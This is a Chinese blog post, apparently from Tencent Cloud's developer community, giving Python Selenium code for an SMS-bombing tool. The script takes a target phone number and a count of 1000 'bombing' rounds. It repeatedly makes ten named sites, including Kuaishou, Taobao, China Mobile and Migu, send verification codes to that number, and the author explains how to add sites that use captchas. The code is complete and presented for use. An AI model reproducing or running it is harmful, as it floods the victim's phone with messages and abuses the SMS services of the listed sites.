代码可以理解为两方面。一部分是借助python的selenium库来实现自动化与网页交互,另一部分是借助网站平台在登录时,可以通过发送手机验证码来实现,
第一方面中还要说明的是,我在爬取获取网站元素时采用的是By.xpath这种方法。而xpath是最不建议使用的,因为只要网站改动一点,代码就会失效。好多都可以改成id或者class_name。但有时侯class_name不一定是唯一的,这一点需要注意,有什么解决办法吗?可以通过父节点或者子节点来获取
def kuaishou():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")#存放你自己的webdriver的路径
driver.get ( "<https://www.kuaishou.com/?utm_source=bb&utm_medium=01&utm_campaign=MIXED_HAO123_DC_XXL_CPT&location=01_mingzhan_2_7>" )
driver.maximize_window()
sleep(0.5)
driver.find_element_by_class_name('user-default').click()
driver.find_element_by_class_name('pl-input-text').send_keys(phone)
driver.find_element_by_class_name('get-verification').click()
sleep(1)
driver.quit()
def tonhcheng58():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
driver.get ( "<https://passport.58.com/reg/?path=https%3A%2F%2Fsu.58.com%2F%3Futm_source%3Dmarket%26spm%3Db-31580022738699-me-f-862.mingzhan&source=58-homepage-pc&utm_source=market&spm=b-31580022738699-me-f-862.mingzhan&PGTID=0d100000-0000-5c8d-b15b-7e4b9a57dc48&ClickID=2>" )
driver.maximize_window()
sleep(0.5)
driver.find_element_by_id('mask_body_item_phonenum').send_keys(phone)
driver.find_element_by_id('mask_body_item_getcode').click()
sleep(1)
driver.quit()
我在爬取网站的时候,刻意避开了验证码问题。因为处理验证码的时间和正确率不忍直视,识别三次成功一次这个样子。如果有小伙伴想添加验证码的网站,可以使用tesseract,官网链接我会贴在下面。
from selenium import webdriver
from time import sleep
phone = 000000#你的目标手机号码
number = 1000#轰炸次数
def kuaishou():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")#存放你自己的webdriver的路径,下面几个都需要改
driver.get ( "<https://www.kuaishou.com/?utm_source=bb&utm_medium=01&utm_campaign=MIXED_HAO123_DC_XXL_CPT&location=01_mingzhan_2_7>" )
driver.maximize_window()
sleep(0.5)
driver.find_element_by_xpath('//*[@id="app"]/div[1]/section/div/div/header/div/div[3]/ul/li[3]/div/p').click()
driver.find_element_by_xpath('//*[@id="app"]/div[2]/div/div/div/div/div[1]/div/div[1]/div/input').send_keys(phone)
driver.find_element_by_xpath('//*[@id="app"]/div[2]/div/div/div/div/div[1]/div/div[2]/div/div/span').click()
sleep(1)
driver.quit()
def TaoBao():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
driver.get ( "<https://reg.taobao.com/member/reg/fast/union_reg?_regfrom=TB>" )
driver.maximize_window()
sleep(0.5)
driver.find_element_by_xpath('//*[@id="container"]/div/div[2]/div[1]/div/div/div[2]/input').send_keys(phone)
driver.find_element_by_xpath('//*[@id="container"]/div/div[2]/div[2]/div/div/div[2]/a').click()
sleep(1)
driver.quit()
def tonhcheng58():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
driver.get ( "<https://passport.58.com/reg/?path=https%3A%2F%2Fsu.58.com%2F%3Futm_source%3Dmarket%26spm%3Db-31580022738699-me-f-862.mingzhan&source=58-homepage-pc&utm_source=market&spm=b-31580022738699-me-f-862.mingzhan&PGTID=0d100000-0000-5c8d-b15b-7e4b9a57dc48&ClickID=2>" )
driver.maximize_window()
sleep(0.5)
driver.find_element_by_xpath('//*[@id="mask_body_item_phonenum"]').send_keys(phone)
driver.find_element_by_xpath('//*[@id="mask_body_item_getcode"]').click()
sleep(1)
driver.quit()
def gaodun():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
driver.get ( "<https://www.gaodun.com/>" )
driver.maximize_window()
sleep(0.5)
driver.find_element_by_xpath('//*[@id="applyLoginId"]').click()
driver.find_element_by_xpath('//*[@id="js_changeOtherType"]').click()
driver.find_element_by_xpath('//*[@id="js_GaodunLoginOrderPhone"]').send_keys(phone)
driver.find_element_by_xpath('//*[@id="js_GaodunLoginPullCode"]').click()
sleep(1)
driver.quit()
def yidong():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
driver.get ( "<https://login.10086.cn/login.html?channelID=12003&backUrl=https://shop.10086.cn/i/?f=home>" )
driver.maximize_window()
sleep(0.5)
driver.find_element_by_xpath('//*[@id="J_pc"]').click()
# driver.find_element_by_id("hr_label_phonelogin").click()
driver.find_element_by_xpath('//*[@id="sms_name"]').send_keys(phone)
driver.find_element_by_xpath('//*[@id="getSMSPwd1"]').click()
sleep(2)
driver.quit()
def liepin():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
driver.get ( "<https://www.liepin.com/>" )
driver.maximize_window()
sleep(1.5)
driver.find_element_by_xpath('//*[@id="tel"]').send_keys(phone)
# sleep(2)
driver.find_element_by_xpath('//*[@id="home-banner-login-container"]/div/div/div/div/div[3]/div/form/div[2]/div/div/div/span/span/span/div').click()
sleep(1)
driver.quit()
def migu():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
driver.get ( "<https://passport.migu.cn/portal/user/register/msisdn?sourceid=220001&callbackURL=https%3A%2F%2Fmusic.migu.cn%2Fv3>" )
driver.maximize_window()
sleep(1.5)
driver.find_element_by_xpath('/html/body/div[1]/div/table/tbody/tr[2]/td[2]/div/table/tbody/tr[2]/td[2]/div/a').click()
# sleep(1)
driver.find_element_by_xpath('//*[@id="J_Phone"]').send_keys(phone)
# sleep(1)
driver.find_element_by_xpath('//*[@id="J_GetMsgCode"]').click()
sleep(1)
driver.quit()
def xueqiu():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
driver.get ( "<https://xueqiu.com/>" )
driver.maximize_window()
sleep(2)
# driver.find_element_by_xpath('//*[@id="app"]/nav/div[1]/div[2]/div/div/span').click()
driver.find_element_by_xpath('/html/body/div[2]/div[1]/div/div/div/div[2]/div[1]/div[1]/div[1]/a[1]').click()
sleep(1)
driver.find_element_by_xpath('/html/body/div[2]/div[1]/div/div/div/div[2]/div[1]/div[1]/div[2]/div/div/form/div[1]/input').send_keys(phone)
sleep(1)
driver.find_element_by_xpath('/html/body/div[2]/div[1]/div/div/div/div[2]/div[1]/div[1]/div[2]/div/div/form/div[1]/span[2]').click()
sleep(1)
driver.quit()
def ku6():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
driver.get ( "<https://video-center.ku6.com/video-center/user/register>" )
driver.maximize_window()
sleep(1.5)
driver.find_element_by_xpath('//*[@id="phone"]').send_keys(phone)
# sleep(1)
driver.find_element_by_xpath('//*[@id="codeBut"]').click()
sleep(1)
driver.quit()
def newpianchang():
driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
driver.get ( "<https://passport.xinpianchang.com/signup?redirect_uri=https%3A%2F%2Fwww.vmovier.com%2F>" )
driver.maximize_window()
sleep(1.5)
driver.find_element_by_xpath('//*[@id="signup_nickname"]').send_keys('saodoiad7987')
driver.find_element_by_xpath('//*[@id="signup_phone"]').send_keys(phone)
# sleep(1)
driver.find_element_by_xpath('//*[@id="__next"]/section/main/div[2]/div/div/div/form/div[3]/div/div/span/span/span/span/a').click()
sleep(1)
driver.quit()
for i in range(number):
kuaishou()
print("{} 第{}次 发送成功 {}".format(phone,i,"快手"))
TaoBao()
print("{} 第{}次 发送成功 {}".format(phone,i,"淘宝"))
tonhcheng58()
print("{} 第{}次 发送成功 {}".format(phone,i,"58同城"))
gaodun()
print("{} 第{}次 发送成功 {}".format(phone,i,"高顿教育"))
yidong()
print("{} 第{}次 发送成功 {}".format(phone,i,"移动"))
liepin()
print("{} 第{}次 发送成功 {}".format(phone,i,"猎聘"))
migu()
print("{} 第{}次 发送成功 {}".format(phone,i,"咕米音乐"))
xueqiu()
print("{} 第{}次 发送成功 {}".format(phone,i,"雪球"))
ku6()
print("{} 第{}次 发送成功 {}".format(phone,i,"酷6视频"))
newpianchang()
print("{} 第{}次 发送成功 {}".format(phone,i,"新片场"))
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。